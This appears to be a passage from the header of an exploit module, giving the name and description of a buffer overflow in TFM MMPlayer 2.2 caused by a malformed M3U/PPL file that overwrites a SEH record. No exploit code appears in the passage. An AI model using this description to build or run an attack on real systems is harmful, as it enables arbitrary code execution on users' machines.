'Name' => 'TFM MMPlayer (m3u/ppl File) Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in MMPlayer 2.2
The vulnerability is triggered when opening a malformed M3U/PPL file
that contains an overly long string, which results in overwriting a
SEH record, thus allowing arbitrary code execution under the context
of the user.
